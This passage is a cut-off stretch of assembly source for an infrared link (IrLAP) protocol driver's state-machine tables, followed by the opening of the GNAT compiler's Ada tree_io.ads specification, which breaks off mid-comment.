IUCF_PFBIT> PCLOSE_NUM_LOCAL = PCLOSE_NUM_LOCAL - PCLOSE_STATE_OFFSET ;------------------------------------------------------------------------------ ; XCHG_P ;------------------------------------------------------------------------------ XCHG_P_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> DefEvent <ILE_RESPONSE shl 8 or mask IRSV_SXCHG> DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> XCHG_P_NUM_LOCAL=COUNTER XCHG_P_NUM_LOCAL = XCHG_P_NUM_LOCAL - XCHG_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; XWAIT_P ;------------------------------------------------------------------------------ XWAIT_P_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> XWAIT_P_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or ISC_RR_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_FRMR_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_RD_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask ISCF_PFBIT> XWAIT_P_NUM_LOCAL = XWAIT_P_NUM_LOCAL - XWAIT_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; XMIT_S ;------------------------------------------------------------------------------ XMIT_S_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_REQUEST shl 8 or mask IRV_RESET> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_DETECTED> DefEvent <ILE_REQUEST shl 8 or mask IRV_UNIT_DATA> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_SXCHG_REQ> ; s xchg request DefEvent <IEE_RECV_CMD shl 8 or ISC_RR_CMD or mask ISCF_PFBIT> ; Handle and discard incoming RR frames in XMIT_S, so that RRs with spurrious ; Vr counts are not queued for later. -CHL 11/21/95 XMIT_S_NUM_LOCAL=COUNTER XMIT_S_NUM_LOCAL = XMIT_S_NUM_LOCAL - XMIT_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; RECV_S ;------------------------------------------------------------------------------ RECV_S_STATE_OFFSET equ COUNTER DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_DETECTED> DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_WD> RECV_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8> ; no poll bit I frame DefEvent <IEE_RECV_CMD shl 8 or mask IICF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_UI_CMD> ; UI no poll DefEvent <IEE_RECV_CMD shl 8 or IUC_UI_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_RR_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_REJ_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_SREJ_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_RNR_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_SNRM_CMD or mask IUCF_PFBIT> DefEvent <(IEE_RECV_CMD or mask IEI_SEQINVALID) shl 8> DefEvent <IEE_RECV_CMD shl 8 or IUC_TEST_CMD or mask IUCF_PFBIT> RECV_S_NUM_LOCAL = RECV_S_NUM_LOCAL - RECV_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; ERROR_S ;------------------------------------------------------------------------------ ERROR_S_STATE_OFFSET equ COUNTER ERROR_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> ERROR_S_NUM_LOCAL = ERROR_S_NUM_LOCAL - ERROR_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; RESET_CHECK_S ;------------------------------------------------------------------------------ RESET_CHECK_S_STATE_OFFSET equ COUNTER DefEvent <ILE_RESPONSE shl 8 or mask IRSV_RESET> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> RESET_CHECK_S_NUM_LOCAL=COUNTER RESET_CHECK_S_NUM_LOCAL = RESET_CHECK_S_NUM_LOCAL - RESET_CHECK_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; RESET_S ;------------------------------------------------------------------------------ RESET_S_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_WD> RESET_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_SNRM_CMD or mask IUCF_PFBIT> ;; u:dm:x:P -- how can u:dm:cmd:P happen?! I wonder... DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> RESET_S_NUM_LOCAL = RESET_S_NUM_LOCAL - RESET_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; BUSY_S ;------------------------------------------------------------------------------ BUSY_S_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_CLEARED> BUSY_S_NUM_LOCAL=COUNTER BUSY_S_NUM_LOCAL = BUSY_S_NUM_LOCAL - BUSY_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; BUSY_WAIT_S ;------------------------------------------------------------------------------ BUSY_WAIT_S_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_WD> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_CLEARED> BUSY_WAIT_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8> ; no poll bit I frame DefEvent <IEE_RECV_CMD shl 8 or mask IICF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_UI_CMD> ; UI no poll DefEvent <IEE_RECV_CMD shl 8 or IUC_UI_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_RR_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_REJ_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or ISC_RNR_CMD or mask ISCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> BUSY_WAIT_S_NUM_LOCAL = BUSY_WAIT_S_NUM_LOCAL - BUSY_WAIT_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; SCLOSE ;------------------------------------------------------------------------------ SCLOSE_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_WD> SCLOSE_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> SCLOSE_NUM_LOCAL = SCLOSE_NUM_LOCAL - SCLOSE_STATE_OFFSET ;------------------------------------------------------------------------------ ; RXWAIT_S ;------------------------------------------------------------------------------ RXWAIT_S_STATE_OFFSET equ COUNTER RXWAIT_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_XCHG or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DXCHG or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> RXWAIT_S_NUM_LOCAL = RXWAIT_S_NUM_LOCAL - RXWAIT_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; XWAIT_S ;------------------------------------------------------------------------------ XWAIT_S_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> XWAIT_S_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_XCHG or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_RD_RSP or mask IUCF_PFBIT> XWAIT_S_NUM_LOCAL = XWAIT_S_NUM_LOCAL - XWAIT_S_STATE_OFFSET ;------------------------------------------------------------------------------ ; POUT ;------------------------------------------------------------------------------ POUT_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> POUT_NUM_LOCAL = COUNTER POUT_NUM_LOCAL = POUT_NUM_LOCAL - POUT_STATE_OFFSET DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> ;------------------------------------------------------------------------------ ; SNIFF ;------------------------------------------------------------------------------ SNIFF_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> SNIFF_NUM_LOCAL = COUNTER - SNIFF_STATE_OFFSET DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_SNRM_CMD or mask IUCF_PFBIT> ;------------------------------------------------------------------------------ ; SLEEP ;------------------------------------------------------------------------------ SLEEP_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> SLEEP_NUM_LOCAL = COUNTER SLEEP_NUM_LOCAL = SLEEP_NUM_LOCAL - SLEEP_STATE_OFFSET ;------------------------------------------------------------------------------ ; SCONN ;------------------------------------------------------------------------------ SCONN_STATE_OFFSET equ COUNTER SCONN_NUM_LOCAL = COUNTER - SCONN_STATE_OFFSET DefEvent <IEE_RECV_RSP shl 8 or IUR_XID_RSP or mask IUCF_PFBIT> ;------------------------------------------------------------------------------ ; SSETUP ;------------------------------------------------------------------------------ SSETUP_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> SSETUP_NUM_LOCAL = COUNTER - SSETUP_STATE_OFFSET DefEvent <IEE_RECV_RSP shl 8 or IUR_UA_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> ;------------------------------------------------------------------------------ ; FLUSH_DATA ;------------------------------------------------------------------------------ FLUSH_DATA_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_RESPONSE shl 8 or mask IRSV_STOP_FLUSH> FLUSH_DATA_NUM_LOCAL = COUNTER - FLUSH_DATA_STATE_OFFSET IRLAP_EVENT_TABLE_SIZE equ COUNTER ;; ************************************************************************* ;; ;; A table for generic event handling ;; state offset in Lookup table, number of local events ;; Each time we fetch 3 bytes: offset, # of local, and next offset ;; (so there must be a last dummy byte). ;; ;; ************************************************************************* IrlapHandlerTable byte \ NDM_STATE_OFFSET, NDM_NUM_LOCAL, QUERY_STATE_OFFSET, QUERY_NUM_LOCAL, REPLY_STATE_OFFSET, REPLY_NUM_LOCAL, CONN_STATE_OFFSET, CONN_NUM_LOCAL, SETUP_STATE_OFFSET, SETUP_NUM_LOCAL, XMIT_P_STATE_OFFSET, XMIT_P_NUM_LOCAL, RECV_P_STATE_OFFSET, RECV_P_NUM_LOCAL, RESET_WAIT_P_STATE_OFFSET, RESET_WAIT_P_NUM_LOCAL, RESET_CHECK_P_STATE_OFFSET, RESET_CHECK_P_NUM_LOCAL, RESET_P_STATE_OFFSET, RESET_P_NUM_LOCAL, BUSY_P_STATE_OFFSET, BUSY_P_NUM_LOCAL, BUSY_WAIT_P_STATE_OFFSET, BUSY_WAIT_P_NUM_LOCAL, PCLOSE_STATE_OFFSET, PCLOSE_NUM_LOCAL, XCHG_P_STATE_OFFSET, XCHG_P_NUM_LOCAL, XWAIT_P_STATE_OFFSET, XWAIT_P_NUM_LOCAL, XMIT_S_STATE_OFFSET, XMIT_S_NUM_LOCAL, RECV_S_STATE_OFFSET, RECV_S_NUM_LOCAL, ERROR_S_STATE_OFFSET, ERROR_S_NUM_LOCAL, RESET_CHECK_S_STATE_OFFSET, RESET_CHECK_S_NUM_LOCAL, RESET_S_STATE_OFFSET, RESET_S_NUM_LOCAL, BUSY_S_STATE_OFFSET, BUSY_S_NUM_LOCAL, BUSY_WAIT_S_STATE_OFFSET, BUSY_WAIT_S_NUM_LOCAL, SCLOSE_STATE_OFFSET, SCLOSE_NUM_LOCAL, RXWAIT_S_STATE_OFFSET, RXWAIT_S_NUM_LOCAL, XWAIT_S_STATE_OFFSET, XWAIT_S_NUM_LOCAL, POUT_STATE_OFFSET, POUT_NUM_LOCAL, SNIFF_STATE_OFFSET, SNIFF_NUM_LOCAL, SLEEP_STATE_OFFSET, SLEEP_NUM_LOCAL, SCONN_STATE_OFFSET, SCONN_NUM_LOCAL, SSETUP_STATE_OFFSET, SSETUP_NUM_LOCAL, FLUSH_DATA_STATE_OFFSET, FLUSH_DATA_NUM_LOCAL, IRLAP_EVENT_TABLE_SIZE ; we need this last entry ; to get all info about SCLOSE IRLAP_HANDLER_TABLE_SIZE equ ($-IrlapHandlerTable-1) ; 1 more than normal ;; ;; This would be true when all states are defined ;; .assert (IRLAP_HANDLER_TABLE_SIZE eq IrlapMachineState) ;; ; ***************************************************************************** ; ; MACROS ; ; ***************************************************************************** DefAction macro action vfptr IrlapConnectionCode:&action COUNTER=COUNTER+1 endm DefSXfer macro action vfptr IrlapTransferCode:&action COUNTER=COUNTER+1 endm DefPXfer macro action vfptr IrlapTransferCode:&action COUNTER=COUNTER+1 endm DefSniff macro action vfptr IrlapConnectionCode:&action COUNTER=COUNTER+1 endm FXIP< IrlapCommonCode ends > FXIP< IrlapResidentCode segment resource > ; ***************************************************************************** ; ; ROUTINE TABLE ; ; ***************************************************************************** COUNTER=0 IrlapStateActionTable label vfptr ;------------------------------------------------------------------------------ ; NDM ;------------------------------------------------------------------------------ .assert (COUNTER eq NDM_STATE_OFFSET) DefAction DiscoveryRequestNDM DefAction ConnectRequestNDM DefSniff SniffRequestNDM DefAction DisconnectRequestNDM DefPXfer UnitdataRequestNDM DefPXfer DataRequestNDM DefAction EmptyHandler ; external DefAction RecvDiscoveryXidCmdNDM DefSniff RecvSniffXidRspNDM DefAction RecvSnrmCmdNDM DefPXfer RecvUIFrameNDM DefPXfer RecvUIFrameNDM DefAction RecvTestCmdNDM ;------------------------------------------------------------------------------ ; QUERY ;------------------------------------------------------------------------------ .assert (COUNTER eq QUERY_STATE_OFFSET) DefAction SlotTimerExpiredQUERY DefAction RecvDiscoveryXidRspQUERY ;; DiscoveryAbortConditionQUERY is not included but defined ;------------------------------------------------------------------------------ ; REPLY ;------------------------------------------------------------------------------ .assert (COUNTER eq REPLY_STATE_OFFSET) DefAction QueryTimerExpiredREPLY DefAction RecvDiscoveryXidCmdREPLY ;------------------------------------------------------------------------------ ; CONN ;------------------------------------------------------------------------------ .assert (COUNTER eq CONN_STATE_OFFSET) DefAction ConnectResponseCONN DefAction DisconnectRequestCONN ;------------------------------------------------------------------------------ ; SETUP ;------------------------------------------------------------------------------ .assert (COUNTER eq SETUP_STATE_OFFSET) DefAction FTimerExpiredSETUP DefAction RecvSnrmCmdSETUP DefAction RecvUaRspSETUP DefAction RecvDmRspSETUP DefAction RecvDmRspSETUP DefAction RecvDmRspSETUP ; They do the same things DefAction RecvDmRspSETUP ;; The last 2 kinds of events have undefined PF bit, so both cases are ;; provided. ;------------------------------------------------------------------------------ ; XMIT_P ;------------------------------------------------------------------------------ .assert (COUNTER eq XMIT_P_STATE_OFFSET) DefPXfer DataRequestXMIT_P DefPXfer ResetRequestXMIT_P DefPXfer DisconnectRequestXMIT_P DefPXfer LocalBusyDetectedXMIT_P DefPXfer PTimerExpiredXMIT_P DefPXfer UnitdataRequestXMIT_P DefPXfer PrimaryRequestXMIT_P ;------------------------------------------------------------------------------ ; RECV_P ;------------------------------------------------------------------------------ .assert (COUNTER eq RECV_P_STATE_OFFSET) DefPXfer LocalBusyDetectedRECV_P DefPXfer FTimerExpiredRECV_P DefPXfer RecvIRspNotFRECV_P DefPXfer RecvIRspFRECV_P DefPXfer RecvUiRspNotFRECV_P DefPXfer RecvUiRspFRECV_P DefPXfer RecvXidRspRECV_P DefPXfer RecvRrRspRECV_P DefPXfer RecvRejRspRECV_P DefPXfer RecvSrejRspRECV_P DefPXfer RecvRnrRspRECV_P DefPXfer RecvFrmrRspRECV_P DefPXfer RecvRdRspRECV_P DefPXfer RecvRnrmRspRECV_P DefPXfer RecvInvalidSeqRECV_P DefPXfer RecvRxchgRECV_P ;------------------------------------------------------------------------------ ; RESET_WAIT_P ;------------------------------------------------------------------------------ .assert (COUNTER eq RESET_WAIT_P_STATE_OFFSET) DefPXfer ResetRequestRESET_WAIT_P DefPXfer DisconnectRequestXMIT_P ; same action as XMIT_P's ;------------------------------------------------------------------------------ ; RESET_CHECK_P ;------------------------------------------------------------------------------ .assert (COUNTER eq RESET_CHECK_P_STATE_OFFSET) DefPXfer ResetRequestRESET_WAIT_P DefPXfer DisconnectRequestXMIT_P ; same action as XMIT_P's ;------------------------------------------------------------------------------ ; RESET_P ;------------------------------------------------------------------------------ .assert (COUNTER eq RESET_P_STATE_OFFSET) DefPXfer FTimerExpiredRESET_P DefPXfer RecvUaRspRESET_P DefPXfer RecvDmRspRESET_P ;------------------------------------------------------------------------------ ; BUSY_P ;------------------------------------------------------------------------------ .assert (COUNTER eq BUSY_P_STATE_OFFSET) DefPXfer DataRequestBUSY_P DefPXfer DisconnectRequestXMIT_P ; DisconnectRequestBUSY_P same as this DefPXfer LocalBusyClearedBUSY_P DefPXfer PTimerExpiredBUSY_P ;------------------------------------------------------------------------------ ; BUSY_WAIT_P ;------------------------------------------------------------------------------ .assert (COUNTER eq BUSY_WAIT_P_STATE_OFFSET) DefPXfer FTimerExpiredBUSY_WAIT_P DefPXfer BusyClearedBUSY_WAIT_P DefPXfer RecvIRspNotFBUSY_WAIT_P DefPXfer RecvIRspFBUSY_WAIT_P DefAction EmptyHandler ; UI:notF: Empty action DefPXfer RecvUiRspFBUSY_WAIT_P DefPXfer RecvUiRspFBUSY_WAIT_P ; Recv XID, but same action DefPXfer RecvRrRspBUSY_WAIT_P DefPXfer RecvRejRspBUSY_WAIT_P DefPXfer RecvRrRspBUSY_WAIT_P ; Recv RNR, but same action as RR DefPXfer RecvRdRspRECV_P ; same action ;------------------------------------------------------------------------------ ; PCLOSE ;------------------------------------------------------------------------------ .assert (COUNTER eq PCLOSE_STATE_OFFSET) DefPXfer FTimerExpiredPCLOSE DefPXfer RecvUaRspPCLOSE DefPXfer RecvUaRspPCLOSE ; Recv DM, but same action as UA ;------------------------------------------------------------------------------ ; XCHG_P ;------------------------------------------------------------------------------ .assert (COUNTER eq XCHG_P_STATE_OFFSET) DefPXfer DisconnectRequestXCHG_P DefPXfer PrimaryResponseXCHG_P DefPXfer PTimerExpiredXCHG_P ;------------------------------------------------------------------------------ ; XWAIT_P ;------------------------------------------------------------------------------ .assert (COUNTER eq XWAIT_P_STATE_OFFSET) DefPXfer FTimerExpiredXWAIT_P DefPXfer RecvRrCmdXWAIT_P DefPXfer RecvFrmrRspXWAIT_P DefPXfer RecvRdRspXWAIT_P DefPXfer RecvDiscCmdXWAIT_P ;------------------------------------------------------------------------------ ; XMIT_S ;------------------------------------------------------------------------------ .assert (COUNTER eq XMIT_S_STATE_OFFSET) DefSXfer DataRequestXMIT_S DefSXfer ResetRequestXMIT_S DefSXfer DisconnectRequestXMIT_S DefSXfer LocalBusyDetectedXMIT_S DefSXfer UnitdataRequestXMIT_S DefSXfer PrimaryRequestXMIT_S DefSXfer RecvRrCmdXMIT_S ; Handle and discard incoming RR frames in XMIT_S, so that RRs with spurrious ; Vr counts are not queued for later. -CHL 11/21/95 ;------------------------------------------------------------------------------ ; RECV_S ;------------------------------------------------------------------------------ .assert (COUNTER eq RECV_S_STATE_OFFSET) DefSXfer LocalBusyDetectedRECV_S DefSXfer WDTimerExpiredRECV_S DefSXfer RecvICmdNotPRECV_S DefSXfer RecvICmdPRECV_S DefSXfer RecvUiCmdNotPRECV_S DefSXfer RecvUiCmdPRECV_S DefSXfer RecvXidCmdRECV_S DefSXfer RecvRrCmdRECV_S DefSXfer RecvRejCmdRECV_S DefSXfer RecvSrejCmdRECV_S DefSXfer RecvRnrCmdRECV_S DefSXfer RecvDiscCmdRECV_S DefSXfer RecvSnrmCmdRECV_S DefSXfer RecvInvalidSeqRECV_S DefSXfer RecvTestCmdRECV_S ;------------------------------------------------------------------------------ ; ERROR_S ;------------------------------------------------------------------------------ .assert (COUNTER eq ERROR_S_STATE_OFFSET) DefSXfer RecvDiscCmdPERROR_S DefSXfer RecvDmRspPERROR_S ;------------------------------------------------------------------------------ ; RESET_CHECK_S ;------------------------------------------------------------------------------ .assert (COUNTER eq RESET_CHECK_S_STATE_OFFSET) DefSXfer ResetResponseRESET_CHECK_S DefSXfer DisconnectRequestRESET_CHECK_S ; same action as XMIT_S's ;------------------------------------------------------------------------------ ; RESET_S ;------------------------------------------------------------------------------ .assert (COUNTER eq RESET_S_STATE_OFFSET) DefSXfer WDTimerExpiredRESET_S DefSXfer RecvSnrmCmdRESET_S DefSXfer RecvDmCmdRESET_S ; for u:dm:x:P DefSXfer RecvDmCmdRESET_S ;------------------------------------------------------------------------------ ; BUSY_S ;------------------------------------------------------------------------------ .assert (COUNTER eq BUSY_S_STATE_OFFSET) DefSXfer DataRequestBUSY_S DefSXfer LocalBusyClearedBUSY_S ;------------------------------------------------------------------------------ ; BUSY_WAIT_S ;------------------------------------------------------------------------------ .assert (COUNTER eq BUSY_WAIT_S_STATE_OFFSET) DefSXfer WDTimerExpiredBUSY_WAIT_S DefSXfer BusyClearedBUSY_WAIT_S DefSXfer RecvICmdNotPBUSY_WAIT_S DefSXfer RecvICmdPBUSY_WAIT_S DefSXfer RecvUiCmdNotPBUSY_WAIT_S DefSXfer RecvUiCmdPBUSY_WAIT_S DefSXfer RecvXidCmdBUSY_WAIT_S DefSXfer RecvRrCmdBUSY_WAIT_S DefSXfer RecvRejCmdBUSY_WAIT_S DefSXfer RecvRnrCmdBUSY_WAIT_S DefSXfer RecvDiscCmdRECV_S ; this is not in spec 1.0 ;------------------------------------------------------------------------------ ; SCLOSE ;------------------------------------------------------------------------------ .assert (COUNTER eq SCLOSE_STATE_OFFSET) DefSXfer WDTimerExpiredSCLOSE DefSXfer RecvDiscCmdSCLOSE DefSXfer RecvDmRspSCLOSE ; Recv DM, but same action as UA ;------------------------------------------------------------------------------ ; RXWAIT_S ;------------------------------------------------------------------------------ .assert (COUNTER eq RXWAIT_S_STATE_OFFSET) DefSXfer RecvXchgCmdRXWAIT_S DefSXfer RecvDxchgRXWAIT_S DefSXfer RecvDiscCmdRXWAIT_S ;------------------------------------------------------------------------------ ; XWAIT ;------------------------------------------------------------------------------ .assert (COUNTER eq XWAIT_S_STATE_OFFSET) DefSXfer FTimerExpiredXWAIT_S DefSXfer RecvXchgCmdXWAIT_S DefSXfer RecvDiscCmdXWAIT_S DefSXfer RecvRdCmdXWAIT_S ;------------------------------------------------------------------------------ ; POUT ;------------------------------------------------------------------------------ .assert (COUNTER eq POUT_STATE_OFFSET) DefSniff SenseTimerExpiredPOUT DefSniff RecvDiscoveryXidCmdPOUT ;------------------------------------------------------------------------------ ; SNIFF ;------------------------------------------------------------------------------ .assert (COUNTER eq SNIFF_STATE_OFFSET) DefSniff SniffTimerExpiredSNIFF DefSniff RecvDiscoveryXidCmdSNIFF DefSniff RecvSnrmCmdSNIFF ;------------------------------------------------------------------------------ ; SLEEP ;------------------------------------------------------------------------------ .assert (COUNTER eq SLEEP_STATE_OFFSET) DefSniff SleepTimerExpiredSLEEP ;------------------------------------------------------------------------------ ; SCONN ;------------------------------------------------------------------------------ .assert (COUNTER eq SCONN_STATE_OFFSET) DefSniff RecvSniffXidRspSCONN ;------------------------------------------------------------------------------ ; SSETUP ;------------------------------------------------------------------------------ .assert (COUNTER eq SSETUP_STATE_OFFSET) DefSniff PTimerExpiredSSETUP DefSniff RecvUaRspSSETUP DefSniff RecvDmRspSSETUP ;------------------------------------------------------------------------------ ; FLUSH_DATA ;------------------------------------------------------------------------------ .assert (COUNTER eq FLUSH_DATA_STATE_OFFSET) DefAction DataRequestFLUSH_DATA DefAction StopFlushResponseFLUSH_DATA .assert (COUNTER eq IRLAP_EVENT_TABLE_SIZE) IRLAP_ACTION_TABLE_SIZE equ COUNTER ; This is where the normal ; function defs end. FXIP< IrlapResidentCode ends > FXIP< IrlapCommonCode segment resource > ;------------------------------------------------------------------------------ ; Default handler for states ;------------------------------------------------------------------------------ COUNTER=0 IrlapDefaultHandlerTable label vfptr DefAction DefaultHandlerNDM ; NDM DefAction EmptyHandler ; QUERY DefAction EmptyHandler ; REPLY DefAction EmptyHandler ; CONN DefAction EmptyHandler ; SETUP ;; primary DefAction NullHandler ; XMIT_P DefPXfer DefaultHandlerRECV_P ; RECV_P DefAction NullHandler ; RESET_WAIT_P DefAction NullHandler ; RESET_CHECK_P DefPXfer DefaultHandlerRESET_P ; RESET_P DefAction NullHandler ; BUSY_P DefPXfer DefaultHandlerBUSY_WAIT_P ; BUSY_WAIT_P DefAction NullHandler ; PCLOSE DefAction NullHandler ; XCHG_P DefPXfer DefaultHandlerXWAIT_P ; XWAIT_P ;; secondary DefAction NullHandler ; XMIT_S DefSXfer DefaultHandlerRECV_S ; RECV_S DefSXfer DefaultHandlerERROR_S ; ERROR_S DefAction NullHandler ; RESET_CHECK_S DefSXfer DefaultHandlerRESET_S ; RESET_S DefAction NullHandler ; BUSY_S DefAction NullHandler ; BUSY_WAIT_S DefSXfer DefaultHandlerSCLOSE ; SCLOSE DefSXfer DefaultHandlerRXWAIT_S ; RXWAIT_S DefSXfer DefaultHandlerXWAIT_S ; XWAIT_S ;; sniff DefAction NullHandler ; POUT DefAction NullHandler ; SNIFF DefAction NullHandler ; SLEEP DefAction NullHandler ; SCONN DefAction NullHandler ; SSETUP ; ; outside Irlap State machine ; DefAction NullHandler ; FLUSH_DATA ; ; Driver control routines ; These routines perform functions that do not belong to IRLAP protocol ; but that belong to the implementation of this driver(ex. shutdown thread). ; DriverControlTable nptr \ offset IDCDetach, if _SOCKET_INTERFACE offset IDCAddressSelected, endif offset IDCAbortSniff, offset IDCStartFlushDataRequests, offset IrlapSocketDoNothing ; IDC_CHECK_STORED_EVENTS IrlapCommonCode ends
tools-src/gnu/gcc/gcc/ada/tree_io.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
12565
<filename>tools-src/gnu/gcc/gcc/ada/tree_io.ads ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- T R E E _ I O -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992-1999 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package contains the routines used to read and write the tree files -- used by ASIS. Only the actual read and write routines are here. The open, -- create and close routines are elsewhere (in Osint in the compiler, and in -- the tree read driver for the tree read interface). with GNAT.OS_Lib; use GNAT.OS_Lib; with System; use System; with Types; use Types; package Tree_IO is Tree_Format_Error : exception; -- Raised if a format error is detected in the input file procedure Tree_Read_Initialize (Desc : File_Descriptor); -- Called to initialize reading of a tree file. This call must be made -- before calls to Tree_Read_xx. No calls to Tree_Write_xx are permitted -- after this call. procedure Tree_Read_Data (Addr : Address; Length : Int); -- Checks that the Length provided is the same as what has been provided -- to the corresponding Tree_Write_Data from the current tree file, -- Tree_Format_Error is raised if it is not the case. If Length is -- correct and non zero, reads Length bytes of information into memory -- starting at Addr from the current tree file. procedure Tree_Read_Bool (B : out Boolean); -- Reads a single boolean value. The boolean value must have been written -- with a call to the Tree_Write_Bool procedure. procedure Tree_Read_Char (C : out Character); -- Reads a single character. The character must have been written with a -- call to the Tree_Write_Char procedure. procedure Tree_Read_Int (N : out Int); -- Reads a single integer value. The integer must have been written with -- a call to the Tree_Write_Int procedure. procedure Tree_Read_Str (S : out String_Ptr); -- Read string, allocate on heap, and return pointer to allocated string -- which always has a lower bound of 1. procedure Tree_Read_Terminate; -- Called after reading all data, checks that the buffer pointers is at -- the end of file, raising Tree_Format_Error if not. procedure Tree_Write_Initialize (Desc : File_Descriptor); -- Called to initialize writing of a tree file. This call must be made -- before calls to Tree_Write_xx. No calls to 